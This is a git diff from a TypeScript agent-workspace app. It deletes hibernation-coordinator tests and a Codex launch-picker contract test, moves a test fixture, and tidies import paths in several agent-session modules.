-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(3000)
-    expect(shutdown).not.toHaveBeenCalled()
-    expect(mockGetTerminalAttention).toHaveBeenCalledWith(['pty-1'])
-
-    shownRemotely = false
-    await vi.advanceTimersByTimeAsync(2000)
-    expect(shutdown).toHaveBeenCalledOnce()
-  })
-
-  it('treats typing from a paired client after the turn as input that keeps the tab (#36427)', async () => {
-    vi.useFakeTimers()
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined))
-    mockGetTerminalAttention.mockImplementation(async (ids) =>
-      Object.fromEntries(ids.map((id) => [id, { shownRemotely: false, lastInputAt: NOW - 1 }]))
-    )
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(3000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('keeps a runtime-hosted tab another client is showing, but not on hosts that report nothing', async () => {
-    vi.useFakeTimers()
-    const shown = runtimeListResult(['pty-1'])
-    const withAttention = {
-      ...shown,
-      terminals: shown.terminals.map((terminal) => ({
-        ...terminal,
-        attention: { shownRemotely: true, lastInputAt: null }
-      }))
-    }
-    installRuntimeListResponses(withAttention, withAttention, withAttention, withAttention)
-    const runtimeState = {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      ptyIdsByTabId: { 'tab-1': [] }
-    }
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), runtimeState)
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(3000)
-    expect(shutdown).not.toHaveBeenCalled()
-    expect(mockRuntimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        method: 'terminal.list',
-        params: expect.objectContaining({ includeAttention: true })
-      })
-    )
-
-    // An older host omits attention; agent sleep must keep working there.
-    resetAgentHibernationCoordinatorFixture()
-    vi.useFakeTimers()
-    installRuntimeListResponses(shown, shown, shown)
-    const legacyShutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), runtimeState)
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(2000)
-    expect(legacyShutdown).toHaveBeenCalledOnce()
-  })
-
-  it.each(['wt-bg', 'folder:folder-1'])(
-    'hibernates a runtime-backed candidate in %s with fresh liveness and exact PTYs',
-    async (worktreeId) => {
-      vi.useFakeTimers()
-      const result = runtimeListResult(['pty-1'])
-      result.terminals[0].worktreeId = worktreeId
-      installRuntimeListResponses(result, result, result)
-      const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-        settings: {
-          experimentalAgentHibernation: true,
-          agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-          activeRuntimeEnvironmentId: 'runtime-1'
-        } as never,
-        folderWorkspaces: [
-          {
-            id: 'folder-1',
-            folderPath: tmpdir(),
-            executionHostId: 'runtime:runtime-1'
-          }
-        ] as never,
-        tabsByWorktree: { [worktreeId]: [{ ...tab(), worktreeId }] },
-        agentStatusByPaneKey: { [entry().paneKey]: { ...entry(), worktreeId } },
-        ptyIdsByTabId: { 'tab-1': [] }
-      })
-      startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-      await vi.advanceTimersByTimeAsync(1000)
-      await vi.advanceTimersByTimeAsync(1000)
-
-      expect(shutdown).toHaveBeenCalledWith(worktreeId, {
-        paneKey: `tab-1:${LEAF}`,
-        tabId: 'tab-1',
-        leafId: LEAF,
-        ptyId: 'pty-1',
-        expectedRuntimePtyId: 'pty-1'
-      })
-      expect(mockRuntimeEnvironmentCall).toHaveBeenCalledWith(
-        expect.objectContaining({
-          method: 'terminal.list',
-          params: expect.objectContaining({ requireFreshPtyLiveness: true })
-        })
-      )
-    }
-  )
-
-  it('requires fresh runtime liveness for confirmation and pre-shutdown recheck', async () => {
-    vi.useFakeTimers()
-    installRuntimeListResponses(
-      runtimeListResult(['pty-1']),
-      runtimeListResult(['pty-1']),
-      runtimeListResult(['pty-shell'])
-    )
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('revalidates a confirmed pane without listing unrelated runtime worktrees', async () => {
-    installRuntimeListResponses(...Array.from({ length: 3 }, () => runtimeListResult(['pty-1'])))
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      worktreesByRepo: {
-        'fixture-repo': [
-          {
-            id: 'wt-bg',
-            repoId: 'fixture-repo',
-            hostId: 'runtime:runtime-1',
-            runtimeOwnerEnvironmentId: 'runtime-1'
-          },
-          {
-            id: 'wt-unrelated',
-            repoId: 'fixture-repo',
-            hostId: 'runtime:runtime-2',
-            runtimeOwnerEnvironmentId: 'runtime-2'
-          }
-        ]
-      } as never,
-      tabsByWorktree: {
-        'wt-bg': [tab()],
-        'wt-unrelated': [{ ...tab(), id: 'tab-2', worktreeId: 'wt-unrelated' }]
-      },
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-
-    await runAgentHibernationTick()
-    await runAgentHibernationTick()
-
-    expect(shutdown).toHaveBeenCalledTimes(1)
-    const listCalls = mockRuntimeEnvironmentCall.mock.calls.filter(
-      ([args]) => args.method === 'terminal.list'
-    )
-    expect(listCalls.at(-1)?.[0]).toMatchObject({
-      selector: 'runtime-1',
-      params: { worktree: expect.anything() }
-    })
-  })
-
-  it('does not hibernate working or waiting agents across remote workspaces', async () => {
-    installRuntimeListResponses()
-    const tabs = Array.from({ length: 100 }, (_, index) => ({
-      ...tab(),
-      id: `tab-${index}`,
-      worktreeId: `wt-${index}`
-    }))
-    const shutdown = installEligibleState(vi.fn(), {
-      worktreesByRepo: {
-        'fixture-repo': tabs.map((t) => ({
-          id: t.worktreeId,
-          repoId: 'fixture-repo',
-          hostId: 'runtime:runtime-1',
-          runtimeOwnerEnvironmentId: 'runtime-1'
-        }))
-      } as never,
-      tabsByWorktree: Object.fromEntries(tabs.map((t) => [t.worktreeId, [t]])),
-      agentStatusByPaneKey: Object.fromEntries(
-        tabs.map((t, index) => [
-          `${t.id}:${LEAF}`,
-          {
-            ...entry(),
-            tabId: t.id,
-            worktreeId: t.worktreeId,
-            paneKey: `${t.id}:${LEAF}`,
-            state: index % 2 === 0 ? 'working' : 'waiting'
-          }
-        ])
-      )
-    })
-
-    await runAgentHibernationTick()
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('requires host evidence after a skipped workspace completes during another inventory request', async () => {
-    const delayed = deferred<ReturnType<typeof runtimeListResult>>()
-    installRuntimeListResponses()
-    const respond = mockRuntimeEnvironmentCall.getMockImplementation()!
-    mockRuntimeEnvironmentCall.mockImplementation((args: { method: string }) =>
-      args.method === 'terminal.list'
-        ? delayed.promise.then((result) => ({ id: 'delayed', ok: true, result }))
-        : respond(args)
-    )
-    const first = entry()
-    const second = { ...entry(), tabId: 'tab-2', paneKey: `tab-2:${LEAF}`, worktreeId: 'wt-other' }
-    const shutdown = installEligibleState(vi.fn(), {
-      worktreesByRepo: {
-        'fixture-repo': ['wt-bg', 'wt-other'].map((id) => ({
-          id,
-          repoId: 'fixture-repo',
-          hostId: 'runtime:runtime-1',
-          runtimeOwnerEnvironmentId: 'runtime-1'
-        }))
-      } as never,
-      tabsByWorktree: {
-        'wt-bg': [tab()],
-        'wt-other': [{ ...tab(), id: 'tab-2', worktreeId: 'wt-other' }]
-      },
-      agentStatusByPaneKey: {
-        [first.paneKey]: { ...first, state: 'working' },
-        [second.paneKey]: second
-      }
-    })
-
-    const tick = runAgentHibernationTick()
-    await vi.waitFor(() =>
-      expect(mockRuntimeEnvironmentCall).toHaveBeenCalledWith(
-        expect.objectContaining({ method: 'terminal.list' })
-      )
-    )
-    useAppStore.setState({ agentStatusByPaneKey: { [first.paneKey]: first } })
-    delayed.resolve(runtimeListResult([]))
-    await tick
-
-    installRuntimeListResponses()
-    await runAgentHibernationTick()
-    expect(shutdown).not.toHaveBeenCalled()
-    await runAgentHibernationTick()
-    expect(shutdown).toHaveBeenCalledTimes(1)
-    expect(shutdown).toHaveBeenCalledWith(
-      'wt-bg',
-      expect.objectContaining({
-        expectedRuntimePtyId: 'pty-1'
-      })
-    )
-  })
-
-  it('uses fresh store state after awaiting runtime liveness before shutdown', async () => {
-    vi.useFakeTimers()
-    const delayed = deferred<ReturnType<typeof runtimeListResult>>()
-    const recheckStarted = deferred<void>()
-    const responses: (
-      | ReturnType<typeof runtimeListResult>
-      | Promise<ReturnType<typeof runtimeListResult>>
-    )[] = [runtimeListResult(['pty-1']), runtimeListResult(['pty-1']), delayed.promise]
-    mockRuntimeEnvironmentCall.mockImplementation((args: { method: string }) => {
-      const compatible = createCompatibleRuntimeStatusResponseIfNeeded(args)
-      if (compatible) {
-        return Promise.resolve(compatible)
-      }
-      if (args.method === 'terminal.list') {
-        if (responses.length === 1) {
-          recheckStarted.resolve(undefined)
-        }
-        return Promise.resolve(responses.shift() ?? runtimeListResult(['pty-1'])).then(
-          (result) => ({
-            id: 'terminal-list',
-            ok: true,
-            result,
-            _meta: { runtimeId: 'runtime-1' }
-          })
-        )
-      }
-      return Promise.resolve({
-        id: 'default',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'runtime-1' }
-      })
-    })
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await runAgentHibernationTick()
-    const tick = runAgentHibernationTick()
-    await recheckStarted.promise
-    setForegroundTerminalTabIds(['tab-1'])
-    delayed.resolve(runtimeListResult(['pty-1']))
-    await tick
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('hibernates runtime-backed candidates independently when siblings remain live', async () => {
-    vi.useFakeTimers()
-    installRuntimeListResponses(
-      runtimeListResult(['pty-1', 'pty-2']),
-      runtimeListResult(['pty-1', 'pty-2']),
-      runtimeListResult(['pty-1', 'pty-2']),
-      runtimeListResult(['pty-1', 'pty-2']),
-      runtimeListResult(['pty-1', 'pty-2'])
-    )
-    const secondLeaf = '22222222-2222-4222-8222-222222222222'
-    const e = {
-      ...entry(),
-      paneKey: `tab-1:${secondLeaf}`,
-      providerSession: { key: 'session_id' as const, id: 'session-2' }
-    }
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      ptyIdsByTabId: { 'tab-1': [] },
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          ...layout(),
-          ptyIdsByLeafId: { [LEAF]: 'pty-1', [secondLeaf]: 'pty-2' }
-        }
-      },
-      agentStatusByPaneKey: {
-        [`tab-1:${LEAF}`]: entry(),
-        [e.paneKey]: e
-      }
-    })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).toHaveBeenCalledTimes(2)
-    expect(shutdown).toHaveBeenCalledWith('wt-bg', {
-      paneKey: `tab-1:${LEAF}`,
-      tabId: 'tab-1',
-      leafId: LEAF,
-      ptyId: 'pty-1',
-      expectedRuntimePtyId: 'pty-1'
-    })
-    expect(shutdown).toHaveBeenCalledWith('wt-bg', {
-      paneKey: `tab-1:${secondLeaf}`,
-      tabId: 'tab-1',
-      leafId: secondLeaf,
-      ptyId: 'pty-2',
-      expectedRuntimePtyId: 'pty-2'
-    })
-  })
-
-  it('fails closed on truncated runtime liveness samples', async () => {
-    vi.useFakeTimers()
-    installRuntimeListResponses(runtimeListResult(['pty-1'], true), runtimeListResult(['pty-1']))
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-
-  it('fails closed when fresh runtime liveness rejects after an earlier good sample', async () => {
-    vi.useFakeTimers()
-    installRuntimeListResponses(runtimeListResult(['pty-1']), new Error('runtime unavailable'))
-    const shutdown = installEligibleState(vi.fn().mockResolvedValue(undefined), {
-      settings: {
-        experimentalAgentHibernation: true,
-        agentHibernationIdleMs: DEFAULT_AGENT_HIBERNATION_IDLE_MS,
-        activeRuntimeEnvironmentId: 'runtime-1'
-      } as never,
-      ptyIdsByTabId: { 'tab-1': [] }
-    })
-    startAgentHibernationCoordinator({ intervalMs: 1000, now: () => NOW })
-
-    await vi.advanceTimersByTimeAsync(1000)
-    await vi.advanceTimersByTimeAsync(1000)
-
-    expect(shutdown).not.toHaveBeenCalled()
-  })
-})
-
-describe('teardown drains sequentially', () => {
-  // Sequential shutdown avoids one liveness sweep and stop RPC per confirmed pane firing concurrently.
-  it('never runs two pane teardowns at the same time', async () => {
-    let inFlight = 0
-    let maxInFlight = 0
-    const gates = Array.from({ length: 3 }, () => ({
-      started: deferred<void>(),
-      release: deferred<void>()
-    }))
-    let nextGate = 0
-    const shutdown = vi.fn().mockImplementation(async () => {
-      const gate = gates[nextGate++]
-      if (!gate) {
-        throw new Error('Unexpected pane teardown')
-      }
-      inFlight += 1
-      maxInFlight = Math.max(maxInFlight, inFlight)
-      gate.started.resolve(undefined)
-      await gate.release.promise
-      inFlight -= 1
-    })
-    const second = '22222222-2222-4222-8222-222222222222'
-    const third = '33333333-3333-4333-8333-333333333333'
-    const leafIds = [LEAF, second, third]
-    const entries = leafIds.map((leafId) => ({ ...entry(), paneKey: `tab-1:${leafId}` }))
-    installEligibleState(shutdown, {
-      terminalLayoutsByTabId: {
-        'tab-1': {
-          root: { type: 'leaf', leafId: LEAF },
-          activeLeafId: LEAF,
-          expandedLeafId: null,
-          ptyIdsByLeafId: Object.fromEntries(leafIds.map((id, i) => [id, `pty-${i + 1}`]))
-        }
-      } as never,
-      ptyIdsByTabId: { 'tab-1': leafIds.map((_, i) => `pty-${i + 1}`) },
-      agentStatusByPaneKey: Object.fromEntries(entries.map((e) => [e.paneKey, e])) as never
-    })
-
-    await runAgentHibernationTick()
-    const tick = runAgentHibernationTick()
-    for (const gate of gates) {
-      await gate.started.promise
-      gate.release.resolve(undefined)
-    }
-    await tick
-
-    expect(shutdown).toHaveBeenCalledTimes(3)
-    expect(maxInFlight).toBe(1)
-  })
-})
diff --git a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.ts b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.ts
index 106dac947b6..caa584ae727 100644
--- a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.ts
+++ b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.ts
@@ -4,12 +4,8 @@ import {
   planAgentHibernationCandidates
 } from './agent-hibernation-planner'
 import type { AgentHibernationCandidate } from './agent-hibernation-planner'
-import type { AgentHibernationPlannerSnapshot } from './agent-hibernation-planner-snapshot'
-import {
-  confirmAgentHibernationCandidates,
-  type AgentHibernationConfirmationState
-} from './agent-hibernation-confirmation'
-import type { AppState } from '@/store/types'
+import { confirmAgentHibernationCandidates } from './agent-hibernation-confirmation'
+import type { AgentHibernationConfirmationState } from './agent-hibernation-confirmation'
 import { getAllDrivers } from '../../pane-manager/mobile-driver-state'
 import {
   getForegroundTerminalTabIds,
@@ -21,17 +17,19 @@ import {
   getHibernationPtyBindingFirstSeenAtByPaneKey,
   observeHibernationPtyBindings
 } from './agent-hibernation-pane-age'
-import { mergePendingTerminalInputActivity } from '../../terminal-input-activity-coalescing'
+import { mergePendingTerminalInputActivity } from '../../terminal/input/terminal-input-activity-coalescing'
 import {
   collectHostPtyEvidence,
   getRuntimeLivenessTargetWorktrees,
-  resolveAgentHibernationRuntimeOwner,
-  type HostPtyEvidence
+  resolveAgentHibernationRuntimeOwner
 } from './agent-hibernation-host-evidence'
+import type { HostPtyEvidence } from './agent-hibernation-host-evidence'
 import {
   getWindowParkVisible,
   subscribeWindowParkVisibility
 } from '../../window-activity/window-park-visibility'
+import type { AgentHibernationPlannerSnapshot } from './agent-hibernation-planner-snapshot'
+import type { AppState } from '@/store/types'
 
 export const AGENT_HIBERNATION_TICK_MS = 60 * 1000
 
diff --git a/src/renderer/src/lib/agent-session/launch/continuation/launch-agent-session-continuation.ts b/src/renderer/src/lib/agent-session/launch/continuation/launch-agent-session-continuation.ts
index c75fa94a685..5d3c9b3da12 100644
--- a/src/renderer/src/lib/agent-session/launch/continuation/launch-agent-session-continuation.ts
+++ b/src/renderer/src/lib/agent-session/launch/continuation/launch-agent-session-continuation.ts
@@ -20,8 +20,8 @@ import {
 import type { AgentLaunchChoice } from '@/lib/agent-session/launch/routing/agent-menu-selection'
 import type { AgentLaunchRoute } from '@/lib/agent-session/launch/routing/agent-launch-routing'
 import { translate } from '@/i18n/i18n'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
+import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
 import { workspaceNavigationToastAction } from '@/lib/workspace/activation/workspace-navigation-toast-action'
 
 type LaunchAgentSessionContinuationArgs = {
diff --git a/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts b/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts
index c553734b199..913e6131050 100644
--- a/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts
+++ b/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts
@@ -1,19 +1,19 @@
-import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
-import type { ExecutionHostId } from '../../../../../../shared/execution-host'
-import '@/lib/launch-structured-agent-session'
-import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import '@/lib/agent-session/launch/structured-agent-session-launch-intent'
+import {
+  StructuredAgentSessionCreateRefusalError,
+  StructuredAgentSessionCreateAbandonedError
+} from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import type { StructuredAgentSessionCreateGate } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
 import {
   cancelStructuredAgentLaunch,
   startStructuredAgentLaunch
 } from '@/lib/agent-session/launch/structured-agent-session-launch'
+import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import type {
   StructuredAgentLaunchOptions,
   StructuredPromptDeliveryResult
 } from '@/lib/agent-session/launch/structured-agent-session-launch-callers'
-import {
-  StructuredAgentSessionCreateAbandonedError,
-  type StructuredAgentSessionCreateGate
-} from '../structured-agent-session-launch-errors'
 
 export type StructuredAgentLaunchSettlement =
   | {
diff --git a/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts b/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts
index beda9993fe5..ab8f3d178b1 100644
--- a/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts
+++ b/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts
@@ -35,7 +35,7 @@ import {
   onRuntimeEnvironmentsRetired
 } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 import { structuredAgentSessionTargetForHost } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
-import { getResolvedExecutionHostIdForWorktree } from '../../../resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '../../../workspace/ownership/resolved-worktree-execution-host'
 
 export type ChatProgramObservation = AgentSessionChatProgram | 'unlearned'
 type HostFactsStore = Pick<AgentLaunchRouteStore, 'runtimeStatusByEnvironmentId'>
diff --git a/src/renderer/src/lib/codex-model-catalog-reader-test-fixture.ts b/src/renderer/src/lib/agent-session/launch/new-tab/codex-model-catalog-reader-test-fixture.ts
similarity index 75%
rename from src/renderer/src/lib/codex-model-catalog-reader-test-fixture.ts
rename to src/renderer/src/lib/agent-session/launch/new-tab/codex-model-catalog-reader-test-fixture.ts
index a48385385c2..ded8f98739d 100644
--- a/src/renderer/src/lib/codex-model-catalog-reader-test-fixture.ts
+++ b/src/renderer/src/lib/agent-session/launch/new-tab/codex-model-catalog-reader-test-fixture.ts
@@ -1,5 +1,5 @@
 import { vi } from 'vitest'
-import type { AgentSessionModelOption } from '../../../shared/agent-session/agent-session-wire'
+import type { AgentSessionModelOption } from '../../../../../../shared/agent-session/agent-session-wire'
 
 export const { fetchCodexModelCatalogListing } = await vi.importActual<{
   fetchCodexModelCatalogListing(input: {
@@ -19,4 +19,4 @@ export const { fetchCodexModelCatalogListing } = await vi.importActual<{
     configured?: { model?: string; effort?: string }
     listedServiceTiers?: readonly string[]
   }>
-}>('../../../main/codex/structured/catalog/codex-structured-model-catalog')
+}>('../../../../../../main/codex/structured/catalog/codex-structured-model-catalog')
diff --git a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-picker-codex-contract.test.ts b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-picker-codex-contract.test.ts
deleted file mode 100644
index 2f911c0e818..00000000000
--- a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-picker-codex-contract.test.ts
+++ /dev/null
@@ -1,147 +0,0 @@
-// @vitest-environment happy-dom
-import { expect, it, vi } from 'vitest'
-import {
-  agentPickerDraft,
-  agentPickerLaunchInputs,
-  type AgentPickerEntry
-} from '../../../../../../shared/agent-launch/picker/agent-launch-picker'
-import {
-  acceptAgentPickerArguments,
-  applyAgentPickerEdit
-} from '../../../../../../shared/agent-launch/picker/agent-launch-picker-edits'
-import { agentPickerPanelArguments } from '../../../../../../shared/agent-launch/picker/agent-launch-picker-arguments'
-import { mockCreateTab, queuedStartups, store } from './launch-agent-in-new-tab-test-fixture'
-import { fetchCodexModelCatalogListing } from '../../../codex-model-catalog-reader-test-fixture'
-
-it('passes the recorded Codex catalog tier and approval/sandbox policy through the common reader, picker and real compiler', async () => {
-  const { default: capture } =
-    await import('../../../../../../shared/fixtures/agent-picker-cli-recordings.json')
-  const { launchAgentInNewTab } = await import('./launch-agent-in-new-tab')
-  const listing = await fetchCodexModelCatalogListing({
-    connection: { request: vi.fn().mockResolvedValue(capture.modelList) }
-  })
-  const model = listing.models[0]
-  const tier = model.serviceTiers![0].value
-  expect(capture.policy.sandbox.type).toBe('workspaceWrite')
-  const raw = `-a ${capture.policy.approvalPolicy} -s workspace-write -c approvals_reviewer=${capture.policy.approvalsReviewer}`
-  const entry: AgentPickerEntry = {
-    agent: 'codex',
-    label: 'Codex',
-    rows: [{ agent: 'codex', kind: 'chat' }],
-    surfaces: ['chat', 'terminal'],
-    defaultSurface: 'terminal',
-    terminal: {},
-    structured: {},
-    arguments: `${raw} --add-dir docs`,
-    catalog: { origin: 'probe', fetchedAt: 1, models: listing.models }
-  }
-  const selected = applyAgentPickerEdit(entry, agentPickerDraft(entry), {
-    kind: 'speed',
-    key: 'serviceTier',
-    value: tier,
-    model: model.id
-  })
-  const view = agentPickerPanelArguments(entry, selected)
-  expect(view.permission).toBeDefined()
-  const edited = acceptAgentPickerArguments(
-    entry,
-    applyAgentPickerEdit(entry, selected, {
-      kind: 'arguments',
-      text: '--add-dir src'
-    })
-  )
-  for (const next of [selected, edited]) {
-    mockCreateTab.mockClear()
-    const inputs = agentPickerLaunchInputs({ ...next, surface: 'terminal' }, entry)
-    launchAgentInNewTab({
-      requestId: 'recorded-policy',
-      agent: 'codex',
-      worktreeId: 'wt-1',
-      requestedSurface: 'terminal',
-      ...inputs
-    })
-    expect(queuedStartups()[0]?.command).toContain(`'service_tier=${tier}'`)
-    expect(queuedStartups()[0]?.command).toContain("'-a' 'on-request' '-s' 'workspace-write'")
-    expect(
-      agentPickerLaunchInputs({ ...next, surface: 'chat' }, entry).sessionOptions?.serviceTier
-    ).toBe(tier)
-  }
-  const standard = acceptAgentPickerArguments(
-    entry,
-    applyAgentPickerEdit(entry, selected, {
-      kind: 'arguments',
-      text: '-c service_tier=default --add-dir src'
-    })
-  )
-  expect(standard).toMatchObject({ choices: { options: { serviceTier: 'default' } } })
-  expect(
-    agentPickerLaunchInputs({ ...standard, surface: 'chat' }, entry).sessionOptions?.serviceTier
-  ).toBe('default')
-  expect(agentPickerLaunchInputs({ ...standard, surface: 'terminal' }, entry).agentArgs).toContain(
-    'service_tier=default'
-  )
-  expect(view.choices.options?.serviceTier).toBe(tier)
-  const removed = applyAgentPickerEdit(entry, selected, { kind: 'remove-chip', key: 'serviceTier' })
-  expect(agentPickerPanelArguments(entry, removed).choices.options?.serviceTier).toBe('default')
-})
-
-it('conserves quoted Codex string sources through common acceptance and the terminal compiler', async () => {
-  const { launchAgentInNewTab } = await import('./launch-agent-in-new-tab')
-  const { tokenizeStartupCommand } =
-    await import('../../../../../../shared/agent-launch/startup/tui-agent-startup-shell')
-  const { agentChoiceConfigString } =
-    await import('../../../../../../shared/agent-launch/choices/agent-choice-cli-apply')
-  const own: AgentPickerEntry = {
-    agent: 'codex',
-    label: 'Codex',
-    rows: [{ agent: 'codex', kind: 'cli' }],
-    surfaces: ['chat', 'terminal'],
-    defaultSurface: 'terminal',
-    terminal: { permissionMode: 'own' },
-    structured: {},
-    arguments: '',
-    catalog: { origin: 'unknown' }
-  }
-  for (const [key, scalar] of [
-    ['model', 'some-model'],
-    ['model', 'true'],
-    ['model', '42'],
-    ['model', 'a"b'],
-    ['model_reasoning_effort', 'high'],
-    ['model_reasoning_effort', 'future_effort']
-  ]) {
-    const operand = `${key}=${JSON.stringify(scalar)}`
-    const raw = `-c '${operand}' --search`
-    const draft = acceptAgentPickerArguments(
-      own,
-      applyAgentPickerEdit(own, agentPickerDraft(own), { kind: 'arguments', text: raw })
-    )
-    const semanticKey = key === 'model' ? 'model' : 'effort'
-    expect(agentPickerPanelArguments(own, draft).text).toBe('--search')
-    expect(
-      agentPickerLaunchInputs({ ...draft, surface: 'chat' }, own).chatSessionOptions?.[semanticKey]
-    ).toBe(scalar)
-    for (const command of ['codex', 'cx']) {
-      store.settings.agentCmdOverrides = { codex: command }
-      mockCreateTab.mockClear()
-      launchAgentInNewTab({
-        requestId: 'quoted-string-source',
-        agent: 'codex',
-        worktreeId: 'wt-1',
-        requestedSurface: 'terminal',
-        ...agentPickerLaunchInputs(draft, own)
-      })
-      const startup = queuedStartups()[0]
-      expect(startup?.launchConfig?.agentArgs).toContain(raw)
-      const compiled = tokenizeStartupCommand(startup?.command ?? '', 'posix')
-      expect(compiled.ok).toBe(true)
-      if (!compiled.ok) {
-        throw new Error('Expected valid terminal startup')
-      }
-      expect(compiled.tokens[0]).toBe(command)
-      const operands = compiled.tokens.filter((token) => token.startsWith(`${key}=`))
-      expect(operands).toEqual([operand])
-      expect(agentChoiceConfigString(operands[0].slice(key.length + 1))).toBe(scalar)
-    }
-  }
-})
diff --git a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts
index 75f73bf4e3d..99dd79857f3 100644
--- a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts
+++ b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts
@@ -1,4 +1,3 @@
-import type { structuredLaunchIntent } from './structured-session-launch-intent.test-fixture'
 import { afterEach, beforeEach, vi } from 'vitest'
 import { createTestStore, seedStore } from '@/store/testing/app-store-test-fixture'
 import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
@@ -8,12 +7,13 @@ import { makeUnifiedTab, makeTabGroup } from '@/store/slices/tabs/tab-group.test
 import { drawTabsFromMain } from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
 import type * as Frames from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
 import { createGlobalSettingsFixture } from '../../../../../../shared/global-settings-test-fixture'
-import type { GlobalSettings } from '../../../../../../shared/global-settings-types'
 import { registerStructuredSelectionCatalogStore } from '../../options/structured-agent-session-selection-controller'
+import type { structuredLaunchIntent } from './structured-session-launch-intent.test-fixture'
